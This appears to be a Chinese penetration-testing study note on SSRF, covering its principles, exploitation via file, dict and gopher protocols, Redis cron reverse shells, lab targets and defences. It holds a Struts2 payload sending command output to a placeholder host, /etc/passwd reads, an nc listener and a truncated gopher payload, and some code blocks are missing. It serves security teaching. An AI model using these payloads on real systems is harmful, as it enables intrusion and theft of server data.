渗透测试CISP-PTE-系列学习笔记
第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS
第八章 渗透测试CISP-PTE:CSRF
第九章 渗透测试CISP-PTE:文件上传
第十章 渗透测试CISP-PTE:文件包含
第十一章 渗透测试CISP-PTE:命令执行
第十二章 渗透测试CISP-PTE:SSRF
前言
SSRF(Server Side Request Forgery)漏洞是一种安全漏洞,存在于Web应用程序中。它允许攻击者通过构造恶意请求,从服务器内部发起未经授权的请求。
漏洞的利用途径之一是攻击者可以通过篡改URL、请求头或请求体等方式,将请求发送到内部资源。这些内部资源包括本地文件、内部网络和云服务等。攻击者可以利用这个漏洞来获取服务器上的敏感信息,如配置文件、数据库信息等。在某些情况下,攻击者还可以通过SSRF漏洞来进行端口扫描、攻击内部网络或云环境。
一、SSRF漏洞原理
很多WEB应用都提供了从其他的服务器上获取数据的功能,根据用户指定的url,WEB应用可以获取图片、下载文件、读取文件内容等。这种功能如果被恶意使用,将导致存在缺陷的WEB应用被作为代理通道去攻击本地或远程服务器。这种形式的攻击就叫SSRF。
存在SSRF漏洞的站点主要利用四个协议,分别是http、file、gopher、dict等协议。
file协议拿来进行本地文件的读取;http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。
这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。
- http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379
- http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
SSRF形成的原因大都是由于服务端提供了从其他服务器获取数据的功能,根据用户指定的url, WEB应用可以获取图片、下载文件、读取文件内容等,导致存在缺陷的WEB应用被作为代理通道去攻击本地或远程服务器。 但没有对URL目标地址做出有效的过滤与限制造成的。
攻击者利用此漏洞伪造服务器端发起请求,从而突破了客户端获取不到数据的限制,如内网资源、服务器本地资源等。
二、常见的漏洞利用方法
以下是一些常见的SSRF漏洞利用方法:
- 访问内部资源:攻击者可以通过在目标应用程序中输入特定的URL或IP地址,强制服务器访问内部的资源,比如数据库、配置文件、其他应用程序或者服务器。
- 探测内部网络:攻击者可以发送请求来扫描目标网络,探测可用的IP地址、开放的端口和其他网络设备信息。
- 绕过防火墙:攻击者可以通过发送请求到外部受限的服务或资源,来绕过防火墙或网络策略。
- 进行脚本注入攻击:攻击者可以通过SSRF漏洞,将恶意请求发送到其他网站,从而导致跨站脚本攻击(XSS)或跨站请求伪造(CSRF)等安全问题。
- 进行端口扫描和服务枚举:攻击者可以利用SSRF漏洞,发送请求探测目标服务器上开放的端口和运行的服务,从而获取目标服务器的信息。
- 攻击内部应用程序和服务器:攻击者可以利用SSRF漏洞,发起内部攻击,比如攻击内部应用程序或服务器,获取敏感信息或者进一步入侵系统。
二、SSRF漏洞解析与利用
对外网、服务器所在内网、本地进行端口扫描(敏感端口),获取一些服务器的 banner 信息。
攻击者可以输⼊一些不常⻅,但有效的 URL,比如
- http://example.com:8080/dir/images
- http://example.com:22/dir/public/image.jpg
- http://example.com:3306/dir/images
根据服务器的返回信息来判断端口的开放情况,大部分的应用并不会去判断端口,只要是有效的 URL,就会发出请求。
对于大多数应用,一般不会直接返回 banner 信息,可以通过报出的错误信息、响应时间、响应包大小来判断,攻击运行在内网或本地的应用程序。
对内网 Web 应用进行指纹识别,通过访问默认文件实现识别内网应用使用的框架、平台、模块以及 CMS 可以为后续的攻击提供很多帮助,大多数 Web 应用都有一些独特的文件和目录,通过这些文件可以识别应用的类型,甚至更详细的版本。根据这些信息可以针对性的收集漏洞进行攻击,比如可以根据访问以下文件来判断 phpMyAdmin 是否安装:
- http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
- http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
- http://127.0.0.1:8082/profiles/minimal/translations/README.txt
攻击内外网的 Web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2、SQLI 等)
Struts2 命令执行
?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
命令执行结果会发送到远端服务器,通过 access.log 获取利用 file 协议读取本地文件等
比如http://www.xxx.com/xxxx?url=file:///etc/passwd
1.常用的高危函数
- file_get_contents()
- fsockopen()
- curl_exec()
2.常用高危函数的区别
大部分 PHP 并不会开启 fopen 的 gopher wrapper
2.1 file_get_contents
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- file_get_contents() //php://input协议
常见后端实现
这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个
随即文件名保存在硬盘上,并展示给用户。
2.2 fsockopen
- fsockopen 函数实现获取用户指定 URL 的数据(文件或者HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据
常见后端实现
这段代码使用 fsockopen 函数实现获取用户指定 URL 的数据(文件或者HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。
2.3 curl_exec
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
- curl_exec() //默认不跟踪跳转
常见后端实现
使用 curl 获取数据
3、SSRF 常见场景
- 网中网
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML):
4、利用思路
4.1 利用Curl自带协议进行攻击
file 协议查看文件
curl -v ‘file:///etc/passwd’
dict 协议探测端口
curl -v ‘dict://10.11.2.1:6379/info’ ----- // 探测 Redis
gopher 协议反弹 shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d
ftp、ftps (FTP匿名访问、爆破) tftp (UDP协议扩展)
imap/imaps/pop3/pop3s/smtp/smtps (爆破邮件用户名密码) smb/smbs
(SMB匿名访问及爆破) telnet (连接SSH/Telnet,匿名访问及爆破)
4.2 利用SSRF攻击本地服务
4.3 攻击数据库&缓存
4.3.1 Redis
Redis服务器与客户端通过RESP(redis Serialization Protocol)协议通信。该协议端口为6379。
第一步探测Redis:只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
第二步发送redis命令:将弹shell脚本写⼊/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。
针对这三个路径的不同,如下会进行讲解。
通过header CRLF注入
weblogic 的SSRF有一个比较大的特点,其虽然是一个"GET"请求,但是我们可以通过传入“%0d%0d”来注入换行符,而某些服务(如redis)是通过换行符分隔每条命令,也就是说我们可以通过该SSRF攻击内网中的redis服务器。
redis命令如下:
这里是采用的bash反弹,在ubuntu下不会反弹成功,在centos系统中可反弹成功,路径采用的是/etc/crontab
通过【curl命令】和【gopher协议】远程攻击内网redis
gopher协议是比http协议更早出现的协议,现在不再常用,但在ssrf漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
gopher协议可以配合linux下的curl命令伪造post请确保发给内网主机。
此种方法能攻击成功的前提是 redis是以root权限运行
payload2如下:
redis命令进行了两次url编码,这里通过gopher协议伪造的请求包是用curl命令来发送,payload采用的是bash反弹,定时程序路径是:/var/spool/cron/root。
发送请求之前在公网机使用nc监听端口2333
nc -lvp 2333
使用dict协议向redis数据库写shell
关于dict协议
dict://serverrip:port/命令:参数
向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(crlf),为漏洞利用增添了便利。
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否可利用dict:
若出现如下界面代表可以成功执行命令
利用步骤
使用burpsuite 发包,为了避免语句执行顺序错误,先将第一个数据帧发20次,然后再发送第二个数据帧,以此类推,如果是批量内网IP存在6379端口,那边可以使用通配符“*”来表示C段IP地址。
在公网机上使用nc持续监听1234端口,等数据帧发送完成后就会反弹shell。
如果目标机是Centos系统:bash和python反弹都支持,路径使用/etc/crontab或者/var/spool/cron/root
如果目标机是ubuntu系统:支持python反弹,路径使用/etc/crontab或者/var/spool/cron/crontabs/root
SSRF触发主从复制反弹shell
redis主从复制RCE的方式,其实就是利用了redis简洁的协议,构造恶意服务器,将原本用于存储备份的rdb文件,替换为我们恶意的exp.so。这样节点redis中就会自动生成exp.so,使得我们可以用load_module进行rce
三、漏洞利用示例
在php中要使用gopher协议需要curl的支持,当然curl还支持了很多的协议。
1、漏洞示例1
漏洞源代码
构造一个php文件,内容如下,同时借用一下owasp-bwapp靶机环境,把此文件放到了
WWW根目录下了。
// filename: ssrfguo.php
<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
漏洞利用
file协议的运用
http://localhost/ssrfguo.php?url=file:///etc/passwd
dict协议应用
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
例如http://localhost/ssrfguo.php?url=dict://10.1.8.8:3306/info 可以获取目标主机的3306端口上运行着mysq-l5.5.53版本的应用
2、漏洞示例2
OWASP-bWAPP靶机上的SSRF漏洞
bWAPP中的SSRF给出了2个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
Pikachu上的SSRF漏洞利用
OWASP bWAPP靶机上的SSRF实验
Vulhub上的Weblogic 之SSRF 漏洞利用
Docker hub上的靶机容器镜像:ssrf_redis
https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me
四、SSRF漏洞的防范措施
SSRF漏洞常见的防范措施包含:
- 输入验证和过滤:对于用户提供的URL参数,需要进行输入验证和过滤,确保其合法性,并防止恶意URL的注入。
- 白名单限制:限制应用能够访问的特定网络或云服务。只允许访问受信任的资源。
阻止内部访问:确保Web服务器无法访问内部网络或云资源,只允许通过API或其他受控方式进行访问。 - 授权验证:对于需要访问敏感资源的请求,应该进行授权验证,确保只有经过授权的用户才能够访问。
- 安全配置:对服务器和应用程序进行安全配置,包括限制服务器的特定功能,禁用危险的协议或端口等。
总之,对于Web应用程序来说,要防止SSRF漏洞的发生,需要在设计和开发过程中注重安全性,进行适当的输入验证和过滤,并采取必要的安全措施来限制和保护服务器内部资源的访问。
总结
以上就是今天要讲的内容,本文仅仅简单介绍了SSRF漏洞原理、常见的漏洞利用方式、典型漏洞利用案例等。